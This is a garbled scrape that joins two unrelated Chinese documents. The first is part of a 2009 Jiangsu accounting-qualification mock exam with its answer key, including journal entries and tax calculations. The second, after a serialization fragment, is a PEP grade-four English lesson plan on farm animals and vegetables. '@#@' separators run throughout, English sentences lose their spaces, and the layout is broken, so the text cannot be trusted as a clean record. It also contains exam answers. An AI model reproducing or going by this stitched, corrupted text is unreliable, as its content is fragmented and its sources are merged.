@#@( @#@ @#@ @#@)@#@12、对往来款项进行清查时,首先应将本单位的往来款项核对清楚,并确认总分类账余额与所属明细分类账余额相等。
@#@( @#@ @#@ @#@)@#@13、当采购员预借差旅费时,资产总额就会减少。
@#@( @#@ @#@ @#@)@#@14、资产负债表中的“固定资产”项目的金额包括“累计折旧”账户的余额。
@#@( @#@ @#@)@#@15、所有记账凭证都必须附有原始凭证。
@#@( @#@ @#@)@#@16、在进行财产清查时,如果发现银行存款日记账期末余额小于银行对账单上的存款余额,就表明银行存款发生了亏损。
@#@( @#@ @#@)@#@17、现金流量是指企业现金和现金等价物的流入量和流出量。
@#@( @#@ @#@ @#@) @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@18、加班工资也应计入工资总额。
@#@( @#@ @#@ @#@ @#@)@#@19、在收入确认前发生的销售折让,应计入财务费用。
@#@( @#@ @#@ @#@) @#@ @#@ @#@ @#@ @#@ @#@ @#@20、为及时编制会计报表,企业应在月末提前结账。
@#@( @#@ @#@ @#@)@#@四、计算分析题(请用钢笔或圆珠笔在指定位置答题,否则按无效答题处理。
@#@有计算要求的,均须列出计算过程。
@#@本类题共5题,共50分。
@#@)@#@1、嘉华公司设有一个基本生产车间。
@#@2008年3月该基本生产车间发生如下经济业务。
@#@@#@
(1)8日,车间领用一般性消耗材料3400元。
@#@@#@
(2)20日,为进行车间管理发生零星支出1200元,款项通过银行转账支付。
@#@@#@(3)31日,结算本月工资,其中生产工人工资200000元,车间管理人员工资15000元,企业管理部门人员工资30000元。
@#@@#@(4)31日,计提车间用固定资产折旧5000元。
@#@@#@(5)31日,结转本月制造费用,其中甲产品应负担60%,乙产品应负担40%。
@#@@#@要求:
@#@请据以编制会计分录,并登记制造费用明细账。
@#@@#@制造费用明细分类账@#@ @#@@#@ @#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@江苏省2009年年会计从业资格考试《会计基础》模拟试题@#@(本答案供参考,请以老师上课时讲解的为准)@#@一、单项选择题(下列每小题备选答案中,只有一个符合题意的正确答案。
@#@请将选定的答案编号,用英文大写字母填入答题纸指定位置。
@#@本类题共20分,每小题1分。
@#@多选、错选、不选均不得分。
@#@)@#@ @#@@#@1@#@2@#@3@#@4@#@5@#@6@#@7@#@8@#@9@#@10@#@11@#@12@#@13@#@14@#@15@#@16@#@17@#@18@#@19@#@20@#@D@#@C@#@B@#@A@#@D@#@A@#@A@#@D@#@C@#@A@#@A@#@A@#@B@#@B@#@C@#@C@#@B@#@B@#@C@#@D@#@ @#@@#@ @#@@#@二、多项选择题(下列每小题备选答案中,有两个或两个以上符合题意的正确答案。
@#@请将选定答案编号,用英文大写字母填入答题纸指定位置。
@#@本类题共20分,每小题1分。
@#@多选、少选、错选、不选均不得分。
@#@)@#@ @#@@#@1@#@2@#@3@#@4@#@5@#@6@#@7@#@8@#@9@#@10@#@AC@#@BD@#@ABCD@#@ABCD@#@BCD@#@ABCD@#@ABD@#@AC@#@ABC@#@BCD@#@ @#@@#@ @#@@#@ @#@@#@11@#@12@#@13@#@14@#@15@#@16@#@17@#@18@#@19@#@20@#@BC@#@AB@#@AD@#@AC@#@ACD@#@ABC@#@ABC@#@ACD@#@ABCD@#@BC@#@ @#@@#@ @#@@#@三、判断题(本类题共10分,每小题0.5分。
@#@判断结果错误、不判断的均不得分。
@#@要求在答题纸的指定位置答题,正确的用“O”表示,错误的用“×@#@”表示。
@#@)@#@1、×@#@ @#@ @#@2、(×@#@) @#@ @#@3、(√) @#@4、(×@#@) @#@5、(×@#@) @#@6、(√) @#@7、(×@#@)@#@8、(×@#@) @#@ @#@9、(×@#@) @#@10、(×@#@) @#@11、(√) @#@12、(√) @#@13、(×@#@)@#@14、(√) @#@15、(×@#@) @#@ @#@16、(×@#@) @#@17、(√)18、(√) @#@@#@19、(×@#@) @#@ @#@20、(×@#@)@#@ @#@@#@四、计算分析题(请用钢笔或圆珠笔在指定位置答题,否则按无效答题处理。
@#@有计算要求的,均须列出计算过程。
@#@本类题共5题,共50分。
@#@)@#@1、@#@ @#@
(1)@#@借:
@#@制造费用 @#@ @#@ @#@ @#@ @#@ @#@3400@#@贷:
@#@原材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@3400@#@
(2)@#@借:
@#@制造费用 @#@ @#@ @#@ @#@ @#@ @#@1200@#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1200@#@(3)@#@借:
@#@制造费用 @#@ @#@ @#@ @#@ @#@ @#@15000@#@生产成本 @#@ @#@ @#@ @#@200000@#@管理费用 @#@ @#@ @#@ @#@ @#@ @#@30000@#@ @#@ @#@ @#@ @#@贷:
@#@应付职工薪酬 @#@ @#@ @#@ @#@245000@#@(4)@#@借:
@#@制造费用 @#@ @#@ @#@ @#@ @#@ @#@5000@#@贷:
@#@累计折旧 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@5000@#@(5)@#@借:
@#@生产成本-基本生产成本(甲产品) @#@ @#@ @#@ @#@ @#@ @#@14760 @#@ @#@ @#@ @#@(3400+1200+15000+5000)*60%@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@-基本生产成本(乙产品) @#@ @#@ @#@ @#@ @#@ @#@9840 @#@ @#@ @#@ @#@(3400+1200+15000+5000)*40%@#@贷:
@#@制造费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@24600@#@ @#@@#@制造费用明细分类账@#@3、@#@
(1)3月5日,借:
@#@原材料——甲材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@102000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费——应交增值税(进项税额) @#@ @#@ @#@17340@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@119340@#@
(2)3月6日,借:
@#@预付账款——A公司 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@60750@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@60750@#@(3)3月10日,借:
@#@生产成本 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@109000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@原材料——甲材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@109000@#@(4)3月12日,借:
@#@在途物资——甲材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@16000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费——应交增值税(进项税额) @#@ @#@ @#@2720@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@18720@#@或(应付账款)@#@(5)3月13日,借:
@#@管理费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@17000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@制造费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@8500@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@原材料——甲材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@25500@#@(6)3月20日,借:
@#@原材料——甲材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@21600@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费——应交增值税(进项税额) @#@ @#@ @#@ @#@ @#@ @#@3672@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@应付账款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@25272@#@(7)3月28日,借:
@#@生产成本 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@114500@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@原材料——甲材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@114500@#@(8)3月30日,借:
@#@原材料——甲材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@135000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费——应交增值税(进项税额) @#@ @#@ @#@ @#@ @#@ @#@22950@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@预付账款——A公司 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@157950@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@借:
@#@预付账款——A公司 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@97200@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@97200@#@ @#@@#@ @#@@#@4、@#@
(1)@#@借:
@#@原材料-A材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1000 @#@ @#@@#@ @#@ @#@ @#@贷:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@1000@#@借:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@1000@#@贷:
@#@管理费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1000@#@
(2)@#@借:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@5850@#@ @#@ @#@ @#@贷:
@#@原材料-B材料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@5000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费-应交增值税(进项税额转出) @#@ @#@850@#@借:
@#@其他应收款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@5850@#@贷:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@5850@#@(3)@#@借:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1500@#@累计折旧 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@3500@#@ @#@ @#@ @#@ @#@贷:
@#@固定资产 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@5000@#@借:
@#@营业外支出 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1500@#@贷:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1500@#@(4)@#@借:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@8816@#@ @#@ @#@ @#@贷:
@#@库存商品 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@8000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费-应交增值税(进项税额转出)816 @#@ @#@ @#@ @#@@#@借:
@#@营业外支出 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@8816@#@贷:
@#@待处理财产损溢 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@8816@#@ @#@@#@5.@#@1.借:
@#@应收账款 @#@ @#@444600@#@ @#@ @#@ @#@ @#@贷:
@#@主营业务收入 @#@ @#@380000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费---应交增值税(销项税) @#@ @#@64600@#@2.借:
@#@销售费用 @#@ @#@8600@#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@8600@#@3.借:
@#@营业外支出 @#@ @#@30000@#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@30000@#@4.借:
@#@管理费用 @#@ @#@ @#@2400@#@ @#@ @#@ @#@ @#@贷:
@#@库存现金 @#@ @#@2400@#@5.借:
@#@主营业务成本 @#@ @#@196000@#@ @#@ @#@ @#@ @#@贷:
@#@库存商品 @#@ @#@ @#@196000@#@6.借:
@#@营业税金及附加 @#@ @#@ @#@29000@#@ @#@ @#@ @#@ @#@ @#@贷:
@#@应交税费----应交营业税 @#@ @#@18000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@----应交城市维护建设税 @#@11000@#@7.借:
@#@主营业务收入 @#@ @#@ @#@380000@#@ @#@ @#@ @#@ @#@ @#@贷:
@#@本年利润 @#@ @#@ @#@ @#@ @#@ @#@380000@#@ @#@借:
@#@本年利润 @#@ @#@ @#@266000@#@ @#@ @#@ @#@ @#@贷:
@#@主营业务成本 @#@ @#@ @#@ @#@ @#@ @#@ @#@196000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@营业税金及附加 @#@ @#@ @#@ @#@ @#@29000@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@销售费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@8600@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@管理费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@2400@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@营业外支出 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@30000@#@8.本月应交所得税=(380000-266000)×@#@25%=28500@#@借:
@#@所得税费用 @#@ @#@28500@#@ @#@ @#@贷:
@#@应交税费—应交所得税 @#@ @#@ @#@ @#@28500@#@借:
@#@本年利润 @#@ @#@ @#@28500@#@ @#@ @#@";i:
5;s:
13843:
"pep小学英语四年级下册最新教案第四单元教学计划Unit4Atthefarm@#@第四单元教学计划Unit4Atthefarm@#@一、单元教学内容分析@#@1、单元教学内容:
@#@本单元通过农场里各种动物以及农作物的学习,从而展现了农场中缤纷多彩的生活。
@#@虽然与学生的实际生活相隔甚远,但其内容与学生的日常生活联系紧密。
@#@要求学生能用本单元的句型与单词进行有关农场里各种动物和各种农作物的表达。
@#@@#@2、单元教学重点:
@#@单词:
@#@sheep,hen,cow,horse,goat,lamb及其复数形式的表达;@#@句型:
@#@Howmany…doyouhave;@#@四会单词及四会句子的掌握。
@#@@#@3、单元教学难点:
@#@字母组合or在单词中的发音。
@#@@#@二、单元教学目标:
@#@@#@1、能够区分农场上常见的牲畜和蔬菜,如:
@#@goat,sheep,horse,donkey,tomatoes,potatoes.@#@2、能够运用句型,如:
@#@Whatarethey?
@#@Arethey…?
@#@Howmany…?
@#@询问动物和蔬菜的名称及数量等。
@#@@#@3、能够根据图画,出一些农场常见的畜牲和蔬菜的名称。
@#@@#@三、单元教学准备:
@#@@#@1、教师准备中所需要的图片、声音、课件,以及本单元的单词卡。
@#@@#@2、准备一些教师的照片或图片。
@#@@#@3、教师准备录音机及录音带。
@#@@#@四、单元教学措施:
@#@@#@1、在教学过程中,对于学习困难的学生,可通过请学生复述老师的话或是复述同学的回答,让学生对老师和同学的发言引起注意,让学生意识到要仔细听别人的说话。
@#@@#@2、对于学习还不错,但是不愿或害怕发言的学生,课堂中教师主动请他们表达其意见,培养他们良好的学习英语的习惯。
@#@@#@3、充分运用英语名、英文歌、儿歌、绕口令、顺口溜、谜语等,给予小学生语言感染的机会。
@#@还可开展各种活动,鼓励学生交际。
@#@@#@ @#@@#@第一课时Unit4AtthefarmALet’stalk@#@教学目标:
@#@@#@1、听、说、认读主要语言结构:
@#@Whatarethese?
@#@Arethese...?
@#@并能根据实际情况进行简略回答。
@#@@#@ 2、能够准确朗读对话。
@#@@#@教具准备:
@#@教学光盘、单词卡片。
@#@@#@教学重点:
@#@句型Whatarethese?
@#@Arethese…?
@#@及其简略回答。
@#@@#@教学难点:
@#@these的发音。
@#@@#@教学过程:
@#@@#@一、复习引题@#@1、教师和学生聊一聊每个人喜爱的蔬菜。
@#@(Ilike…Doyoulike…?
@#@)@#@2、教师说谜语,引导学生用Arethey…?
@#@来猜猜是什么蔬菜。
@#@@#@ a、Theyarered.Theylooklikeapples,buttheyaren’tapples.Whatarethey?
@#@@#@ b、Theyaretenderandgreen.Whatarethey?
@#@@#@ c、Theyarelongandorange.Rabbitslikeeatingthem.Whatarethey?
@#@@#@ d、Theyareround,pinkandwhite.Whatarethey?
@#@ e、Theyarebrown.Frenchfriesaremadeofthem.Whatarethey?
@#@@#@ 学生猜对了,教师回答Yes,theyare.并拿出相应的单词卡片请学生拼读;@#@ @#@如果猜错了,教师回答No,theyaren’t.再请其他人猜,直到猜对为止。
@#@@#@二、教学新课@#@1、教师请学生将装有蔬菜卡片的盒子盖好放在桌子上,然后走到同学们中间,随意指着几个盒子问:
@#@Arethese…?
@#@,并引导学生根据实际用Yes,theyare./No,theyaren’t.回答。
@#@如果学生回答的是No,theyaren’t.教师要继续问:
@#@Whatarethese?
@#@并引导学生用Theyare…回答。
@#@(教师在操作时应多问几名学生,以增加语言的输入量。
@#@)教师适时板书句型框架。
@#@@#@ 2、教师将自己带来的蔬菜卡片分别放在几个盒子里,请几个学生过来边摸边问:
@#@Arethese…?
@#@或Whatarethese?
@#@教师做出相应的回答。
@#@@#@ 3、学生两人一组运用黑板上的句型互相猜猜对方盒内的蔬菜。
@#@@#@4、播发Let’stalk的录音,学生听录音,后跟读、模仿。
@#@@#@ 5、分小组做对话练习。
@#@@#@三、巩固练习@#@完成Let'@#@splay部分,操练句型:
@#@Whatarethese?
@#@Arethese…?
@#@@#@四、布置作业@#@1、听第38页的Let’stalk部分的录音,读给同伴、朋友或家长听。
@#@@#@五、板书设计@#@六、教学反思@#@第二课时Unit4AtthefarmALet’slearn@#@教学目标:
@#@@#@1、能听、说、认读单词:
@#@tomato、greenbeans、potato、carrot以及它们的复数形式。
@#@@#@ 2、通过说唱B部分的歌谣巩固所学单词的复数形式。
@#@@#@教具准备:
@#@@#@1、Let’slearnB部分的课件和录音。
@#@@#@ 2、相关的单词卡片。
@#@@#@ 3、所学蔬菜的实物。
@#@@#@ 4、Let’schant的录音。
@#@@#@教学重点:
@#@单词:
@#@tomato、cucumber、potato、onion、carrot@#@教学难点:
@#@potato和tomato的复数形式。
@#@@#@教学过程:
@#@@#@一、复习引题@#@1、请学生欣赏Let’schant部分歌谣,教师要根据歌词适时举起相应的图片。
@#@@#@二、教学新课@#@1、教师手举一个西红柿,说:
@#@Iliketomatoes.Doyouliketomatoes?
@#@引导学生用Ilike…或Idon’tlike…根据自己的实际情况表达。
@#@@#@ 2、教师再拿起一夹青豆,边说边完全呈现:
@#@Oh,it’slongandgreen.Theyaregreenbeans.Doyoulikegreenbeans?
@#@让学生在回答中学习单词。
@#@@#@ 3、出示土豆:
@#@Doyouknowit?
@#@Frenchfriesaremadeofit.It’sapotato.Doyoulikepotatoes?
@#@学生根据用Ilike…或Idon’tlike…根据自己的实际进行情况表达。
@#@@#@ 4、请学生猜谜语:
@#@Theyarelongandorange.Rabbitslikeeatingthem?
@#@Whatarethey?
@#@学习单词carrot。
@#@@#@ 5、教师将四种蔬菜分别放在教室的不同位置,然后说单词,请学生指出相应的实物。
@#@@#@三、巩固练习@#@1、教师请学生看着书听歌谣。
@#@@#@ 2、让学生观察歌谣中like后的蔬菜单词和Let’slearn中的单词有什么不同。
@#@启发学生说出like后的名词是以复数形式出现的。
@#@教师适当强调tomato和potato的复数形式拼写的变化,carrot的复数形式读音的变化。
@#@@#@四、布置作业@#@1、读课文第39页并背诵Let'@#@schant。
@#@@#@五、板书设计@#@ @#@@#@六、教学反思@#@ @#@@#@第三课时Unit4AtthefarmALet’sspell@#@教学目标:
@#@@#@1、让学生掌握含有字母组合or的单词发音和认读书写。
@#@@#@2、能听、说、读、写horse,fork,homework,worldmap四个词语。
@#@@#@教具准备:
@#@教学光盘、单词卡片。
@#@@#@教学重点:
@#@能听、说、读、写horse,fork,homework,worldmap四个词语。
@#@@#@教学难点:
@#@正确书写horse,fork,homework,worldmap四个词语。
@#@@#@教学过程:
@#@@#@一、复习引题@#@1、师生做日常口语练习:
@#@@#@ @#@ @#@A:
@#@Whatarethese?
@#@@#@ @#@ @#@B:
@#@Theyare...@#@A:
@#@Arethese...?
@#@@#@B:
@#@Yes,theyare./No,theyaren'@#@t.@#@ 2、请学生表演A部分Let’stalk的对话。
@#@@#@二、教学新课@#@1、播放Read,listenandchant的录音,让学生听歌谣。
@#@@#@ 2、让学生跟着动画学说歌谣,同时可用手打节奏。
@#@@#@3、播放Read,listenandnumber的录音,让学生给单词排序。
@#@@#@4、听音后反复读四个单词,在此基础上进行描红,达到书写格式正确的目的。
@#@@#@三、巩固练习@#@1、完成Look,listenandwrite部分的练习。
@#@@#@四、布置作业@#@1、抄本课单词4+1模式@#@五、板书设计@#@ @#@@#@六、教学反思@#@ @#@@#@第四课时Unit4AtthefarmBLet’stalk@#@教学目标:
@#@@#@1、能听懂“Whatarethose?
@#@Arethey...?
@#@Howmany...?
@#@”,并能在情景运用。
@#@@#@ 2、进一步巩固名词复数及读音规则。
@#@@#@3、通过小组活动的形式培养学生的合作意识。
@#@@#@教具准备:
@#@教学光盘、单词卡片。
@#@@#@教学重点:
@#@句型Whatarethose?
@#@Arethey…?
@#@Howmany…doyouhave?
@#@的理解与应用。
@#@@#@教学难点:
@#@名词复数及其读音规则。
@#@@#@教学过程:
@#@@#@一、复习引题@#@1、欣赏本单元歌曲。
@#@@#@2、提问:
@#@Whatcanyouhearinthissong?
@#@学生说出在歌中听到的动物的单词。
@#@@#@二、教学新课@#@1、教师拿起几支笔握在手中,不要露出笔尖。
@#@引导学生用Arethey来猜猜是什么笔,教师根据实际回答:
@#@Yes,theyare./No,theyaren’t.@#@ 2、教师随手拿起几个笔袋:
@#@Aretheypencil-boxes?
@#@学生回答:
@#@Yes,theyare.或No,theyaren’t.然后教师说:
@#@Theyarenotpencil-boxes.Theyarepencil-cases.@#@ 3、组织学生分组利用自己的学习用品问答A:
@#@Arethey…?
@#@B:
@#@Yes,theyare./No,theyaren'@#@t.(教师提供资源:
@#@desks/tablespants/shortsunglasses/glasses)@#@ 4、学生汇报练习情况,当学生对话后,教师要接着问:
@#@Howmany…doyouhave?
@#@引导学生答出相应的数量。
@#@@#@5、打开Let’stalk部分课件,学生观看1-2遍,在情景中理解对话的语句。
@#@@#@ 6、教师就对话内容提问,检查学生的理解情况。
@#@(显示课件的插图)Aretheysheep?
@#@/goats?
@#@/horses?
@#@/donkeys?
@#@/hens?
@#@/cows?
@#@Howmany…?
@#@@#@ 7、跟录音朗读对话,注意模仿语音语调。
@#@@#@ 8、小组分角色表演对话,教师巡视指导。
@#@@#@三、巩固练习@#@1、启发学生替换有关动物单词,创新对话。
@#@@#@ A:
@#@Arethey…?
@#@@#@ B:
@#@Yes,theyare./No,theyaren’t.(Theyare.…)@#@ A:
@#@Howmany…doyouhave?
@#@@#@ B:
@#@Ihave.…@#@四、布置作业@#@1、向同伴、朋友或家长了解更多的关于农场上的动物的知识。
@#@@#@五、板书设计@#@六、教学反思@#@第五课时Unit4AtthefarmBLet’slearn@#@教学目标:
@#@@#@1、能够听、说、认读单词:
@#@sheep,hen,cow,horse。
@#@@#@ 2、了解单词sheep,hen,cow,horse的复数形式。
@#@@#@教具准备:
@#@教学光盘、单词卡片。
@#@@#@教学重点:
@#@单词:
@#@sheep,hen,cow,horse及其复数形式的表达。
@#@@#@ 句型:
@#@Whatarethey?
@#@和Arethey…?
@#@的问答。
@#@@#@教学难点:
@#@horse,sheep,goat的复数形式表达。
@#@@#@教学过程:
@#@@#@一、复习引题@#@1、教师提问:
@#@Iloveanimalsverymuch.Doyouloveanimals?
@#@Whatanimalsdoyouknow?
@#@@#@ 2、学生说说自己知道的动物单词,一旦学生说出本课涉及到的单词,教师要及时拿出卡片,请这位同学来教大家读。
@#@@#@二、教学新课@#@1、教师说:
@#@Doyouknowafarm?
@#@Therearemanyanimalsatafarm.Let’sgoandhavealook教师出示Let’slearn(A)部分挂图,说:
@#@Look,itisafarm.Somanyanimals.@#@Whatcanyousee?
@#@@#@ 2、学生听懂后,教师可先试着让学生指图回答,能说出英文的学生给与表扬,也可让学生用中文回答。
@#@@#@ 3、告诉学生我们要学习有关farm的内容,教读farm。
@#@@#@ 4、让学生观看课件2遍,教师只点击有关单词部分,学生跟读。
@#@@#@ 5、教师出示单词卡:
@#@sheep,hen,cow,horse,goat,lamb,让学生进行认读,教师可以将一些发音规律,帮助学生记忆单词。
@#@如:
@#@ee在sheep中发[i:
@#@]ow在cow中发[aU],oa在goat中发音等等,也可以启发学生说说怎样记住每个单词。
@#@(将卡片贴到黑板上)@#@ 6、巩固单词:
@#@a、教师说单词,学生指图。
@#@@#@ b、教师指图,学生说单词。
@#@@#@ c、一个学生说任意一个单词,其他学生举起相应的图片。
@#@@#@三、巩固练习@#@1、请一位同学拿一张卡片(复数形式的图片)站在前面,不让全班看到正面是什么,其他人用Arethey…?
